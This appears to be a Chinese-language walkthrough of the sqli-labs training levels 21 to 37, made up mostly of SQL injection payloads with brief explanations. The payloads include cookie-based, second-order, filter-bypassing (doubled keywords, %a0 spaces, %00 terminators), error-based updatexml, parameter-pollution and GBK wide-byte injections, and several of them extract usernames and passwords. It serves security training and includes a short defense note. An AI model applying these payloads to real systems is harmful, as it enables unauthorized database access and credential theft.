less 21
“基于’)字符型的Cookie注入”
注入语句:
1’) union select 1,database(),3#
编码:MScpIHVuaW9uIHNlbGVjdCAxLGRhdGFiYXNlKCksMyM=
知识点:
经过代码审计,需要把cookie的值先进行base64加密,才能得到正确的回显数据
less 22
“基于”字符型的Cookie注入”
注入语句:
1” union select 1,database(),3#
编码:MSIgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwzIw==
同less 21
less 23
“过滤注释的GET型注入“
Payload:
?id=-1’ union select 1,database(),3 or ‘1’='1 //对–+、#等注释符进行了过滤
知识点:
源码对 --+、#进行了过滤,所以这里我们只能使用and或者or语句进行闭合
当输入1’ or ‘1’=’1时,即‘1‘=’1‘,与原语句的后半部分闭合,进而实现注入。
less 24
“二次注入”
注册用户名为admin‘ --+的新用户,登录后修改密码,登录用户名为admin&&密码为修改后密码,可登陆成功
原理:
用户向数据库插入恶意语句。
在用户注册时,仅对特殊字符进行了转义,判断输入两次密码是否一致,然后将用户键入,将数据插入至数据库。当修改密码时,直接去除了数据库中的数据,并对该用户的密码进行了更新。
防御:
1.对外部提交数据谨慎
2.从数据库取数据时,不能轻易相信查询出的数据,要做到同样的转义或是甄别
less 25
“过滤“or”和“and”的单引号注入”
Payload:
1.?id=-1’ union select 1,database(),3 or ‘1’=‘1 / ? id=-1’ union select 1,database(),3 and ‘1’=‘1 //无反应 过滤了and和or,无法使用and或者or语句进行闭合
2.?id=-1’ union select 1,database(),3 --+ //获得数据库
3.?id=-1’ union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database() --+ //获得数据表
知识点:
因为过滤了or和and 所以凡是涉及到or、and以及单词中包含“or”或“and“的都需要对”or“和”and“双写进行绕过。
less 25a
“过滤“or”和“and”的注入”
Payload:
1.?id=-1 union select 1,database(),3 --+
2.?id=-1 union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database() --+
同less 25
less 26
“基于‘的过滤”and”、”or”、注释和空格的注入”
Payload:
1.?id=.'aandnd(updatexml(1,concat(0x7e,database()),1));%00 //经过测试发现过滤掉了注释符、空格、and、or,获得数据库名
2.?id=.'aandnd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema=database()))),1) //获得表名
Updatexml函数同less 5、过滤“or“和”and“同less 25、过滤注释符同less 23
知识点:
考虑空格:用以下几种url编码代替空格即可:()绕过、%a0空格
过滤了注释符,可以用;%00成功绕过,也可以用and ‘1’=‘1拼接后面的单引号
由于-被过滤所以联合注入时,所以id参数不能用负数,可以随便找个字符或者大一点的数字,让他查询为空从而显示后边的
less 26a
“基于‘)的过滤注释和空格的注入”
Payload:
1.?id=1’) ;%00 //回显正常
2. ?id=.’)aandnd(updatexml(1,concat(0x7e,database()),1));%00
同less 26
less 27
“基于‘的过滤union、select、空格和注释符的注入“
Payload:
1.?id=1’ union select 1,2,3 or ‘1’=’1 //显示过滤union、select、空格
2.?id=.’%a0UNiON%a0SeleCt%a01,basedata(),3%a0;%00 //获得数据库
3.?id=.’%a0UNiON%a0SeleCt%a01,group_concat(username,password),3%a0from%a0users;%00 //获得数据
知识点:
当过滤union、select等词无法使用联合注入时,可以使用updatexml()等报错函数进行注入
也可以使用对union、select大小写混合写或者是双写的方式进行注入
less 27a
“基于”的过滤union、select、空格和注释符的注入“
Payload:
1.?id=1”;%00
2.?id=.”%a0UNiON%a0SeleCt%a01,group_concat(username,password),3%a0from%a0users;%00
同less 27
less 28
“基于’)过滤union和select等的注入”
Payload:
1.?id=1’;%00 //回显异常
2.?id=1’);%00 //回显正常
3.?id=.’) %a0union%a0union%a0select%a0select%a01,group_concat(username,password),3%a0from%a0users;%00
同less 27
知识点:
过滤union select这一个组合,也要过滤空格,可以采用union union select select方法绕过,空格照样用%0a替换
less 28a
“基于’)过滤union和select的注入”
Payload:
1.?id=1’;%00 //回显异常
2.?id=1’);%00 //回显正常
因为只过滤了union和select,所以用union union select select方法绕过即可
同less 28
less 29
“基于单引号的参数污染绕过”
Payload:
?id=1&id=-1’ union select 1,database(),3 --+
知识点:
在HTTP协议中允许同样名称的参数出现多次,针对同样名称的参数出现多次的情况,不同的服务器的处理方式会不一样。
因为是PHP/Apache服务器,所以获取到的参数是第二个参数。
如果对第一个参数注入,就直接会被拦截。所以对第二个参数注入。
less 30
“基于"的参数污染绕过”
Payload:
?id=1&id=-1" union select 1,2,3 --+
同less 29
less 31
“基于")的参数污染绕过”
Payload:
?id=1&id=-1") union select 1,2,3 --+
同less 29
less 32
“宽字节注入”
Payload:
?id=-1%df’ union select 1,database(),3 --+
知识点:
这里使用函数将特殊字符转化为实体,就是说在字符转义,添加‘\’。 设置宽字节字符集,这里为GBK字符集,GBK字符集占用两个字节。当我们测试的时候,输入“%df‘”,这个时候如果php函数是使用的addslashes()的时候,会在冒号的前面加上’\’。也就变成了%df\’ 。对应的url编码是%df%5c’.这时候网站字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为%df\是一个汉字,这样的话,单引号前面的\就不起作用了,从而转义失败,题目就会出现报错信息。
less 33
“get方式宽字节注入”
Payload:
?id=-1%df’ union select 1,database(),3 --+
同less 32
less 34
“post方式宽字节注入”
注入语句:
admin%df’ union select 1,database() #
同less 32
less 35
“数值型注入”
Payload:
?id=-1 union select 1,database(),3 --+
同less 2
less 36
“宽字节注入”
Payload:
?id=-1%df’ union select 1,database(),3 --+
知识点:
mysql_real_escape_string转义SQL 语句中使用的字符串中的特殊字符,并考虑到连接的当前字符集。mysql_real_escape_string()不转义“%”和“_“。
less 37
“宽字节post注入“
注入语句:
admin%df’ union select 1,database() #
同less 32